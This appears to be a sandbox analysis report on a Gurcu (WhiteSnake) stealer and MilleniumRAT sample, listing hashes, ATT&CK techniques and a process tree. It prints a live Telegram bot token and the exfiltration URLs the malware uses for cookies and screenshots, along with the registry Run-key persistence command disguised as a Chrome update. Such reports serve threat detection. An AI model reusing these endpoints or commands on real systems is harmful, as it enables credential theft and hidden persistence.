gurcu | 246be4970b93f526c742ff8f7f9030b292294480f79df9a8f1bd9626df459e63

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-12-2024 09:04

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General

Target

9131ecd24f80c67f05d3a145e24251dd.exe
Size

5.6MB
MD5

9131ecd24f80c67f05d3a145e24251dd
SHA1

52bde2feddadd2c5dfdad19a5303e78dd7b660d8
SHA256

246be4970b93f526c742ff8f7f9030b292294480f79df9a8f1bd9626df459e63
SHA512

a49b6b6303210b5cb9a5f0ffe39f38c83027562c165abf50b823d45de978eadbfa319cbec4425089ea30be8e49796665c52207d799cb56467f76facecdc9b753
SSDEEP

98304:tJRl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcM:tWOuK6mn9NzgMoYkSIvUcwti7TQlvciD

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7515630646:AAEMGND3BFGtcBKf-CV4dQbyV510h-hLt8E/sendDocument?chat_id=7781867830&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7515630646:AAEMGND3BFGtcBKf-CV4dQbyV510h-hLt8E/sendMessage?chat_id=7781867830

https://api.telegram.org/bot7515630646:AAEMGND3BFGtcBKf-CV4dQbyV510h-hLt8E/getUpdates?offset=-

https://api.telegram.org/bot7515630646:AAEMGND3BFGtcBKf-CV4dQbyV510h-hLt8E/sendDocument?chat_id=7781867830&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	9131ecd24f80c67f05d3a145e24251dd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

pid	Process
1812	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1812	Update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
11	raw.githubusercontent.com
23	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1704	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4164	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4416	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1648	9131ecd24f80c67f05d3a145e24251dd.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe
1812	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	9131ecd24f80c67f05d3a145e24251dd.exe
Token: SeDebugPrivilege	1704	tasklist.exe
Token: SeDebugPrivilege	1812	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1812	Update.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 3220	1648	9131ecd24f80c67f05d3a145e24251dd.exe	87
PID 1648 wrote to memory of 3220	1648	9131ecd24f80c67f05d3a145e24251dd.exe	87
PID 3220 wrote to memory of 1700	3220	cmd.exe	89
PID 3220 wrote to memory of 1700	3220	cmd.exe	89
PID 3220 wrote to memory of 1704	3220	cmd.exe	90
PID 3220 wrote to memory of 1704	3220	cmd.exe	90
PID 3220 wrote to memory of 4108	3220	cmd.exe	91
PID 3220 wrote to memory of 4108	3220	cmd.exe	91
PID 3220 wrote to memory of 4164	3220	cmd.exe	92
PID 3220 wrote to memory of 4164	3220	cmd.exe	92
PID 3220 wrote to memory of 1812	3220	cmd.exe	93
PID 3220 wrote to memory of 1812	3220	cmd.exe	93
PID 1812 wrote to memory of 4516	1812	Update.exe	100
PID 1812 wrote to memory of 4516	1812	Update.exe	100
PID 4516 wrote to memory of 4416	4516	cmd.exe	102
PID 4516 wrote to memory of 4416	4516	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\9131ecd24f80c67f05d3a145e24251dd.exe
"C:\Users\Admin\AppData\Local\Temp\9131ecd24f80c67f05d3a145e24251dd.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB371.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpB371.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1700
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 1648"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:4108
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4164
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4516
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB371.tmp.bat

Filesize
330B

MD5
bfd9345e1f76af9d127e84528d6ba2c9

SHA1
03e792a3577264eda3154a45489c4f42a7433471

SHA256
34bbf5d4ab2b5817675f5259121fb95794496b149b50fb6a776cfa7e5be8d590

SHA512
1e65df42f2f1cf95be287e1f8007abbadc1600f08c7a5c5806f08efc2b434ed65b21d6ed7f03cb1c1d61226777ee5b584b4fea5534bb52ed38d83617cfcef2d5

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
9131ecd24f80c67f05d3a145e24251dd

SHA1
52bde2feddadd2c5dfdad19a5303e78dd7b660d8

SHA256
246be4970b93f526c742ff8f7f9030b292294480f79df9a8f1bd9626df459e63

SHA512
a49b6b6303210b5cb9a5f0ffe39f38c83027562c165abf50b823d45de978eadbfa319cbec4425089ea30be8e49796665c52207d799cb56467f76facecdc9b753

Download Submit
memory/1648-7-0x00007FFE599A0000-0x00007FFE5A461000-memory.dmp

Filesize
10.8MB

Download
memory/1648-0-0x00007FFE599A3000-0x00007FFE599A5000-memory.dmp

Filesize
8KB

Download
memory/1648-8-0x000001D4B31B0000-0x000001D4B31CE000-memory.dmp

Filesize
120KB

Download
memory/1648-9-0x000001D4B31D0000-0x000001D4B31DA000-memory.dmp

Filesize
40KB

Download
memory/1648-13-0x00007FFE599A0000-0x00007FFE5A461000-memory.dmp

Filesize
10.8MB

Download
memory/1648-6-0x000001D4CB9F0000-0x000001D4CBA66000-memory.dmp

Filesize
472KB

Download
memory/1648-1-0x000001D4B1000000-0x000001D4B15A2000-memory.dmp

Filesize
5.6MB

Download
memory/1812-20-0x000001E74EF50000-0x000001E74EFBA000-memory.dmp

Filesize
424KB

Download
memory/1812-22-0x000001E74F1C0000-0x000001E74F272000-memory.dmp

Filesize
712KB

Download
memory/1812-23-0x000001E74F2C0000-0x000001E74F310000-memory.dmp

Filesize
320KB

Download
memory/1812-24-0x000001E74F310000-0x000001E74F332000-memory.dmp

Filesize
136KB

Download
memory/1812-26-0x000001E74F380000-0x000001E74F3BA000-memory.dmp

Filesize
232KB

Download
memory/1812-27-0x000001E74F340000-0x000001E74F366000-memory.dmp

Filesize
152KB

Download
memory/1812-28-0x000001E750110000-0x000001E75043E000-memory.dmp

Filesize
3.2MB

Download
memory/1812-47-0x000001E74F400000-0x000001E74F412000-memory.dmp

Filesize
72KB

Download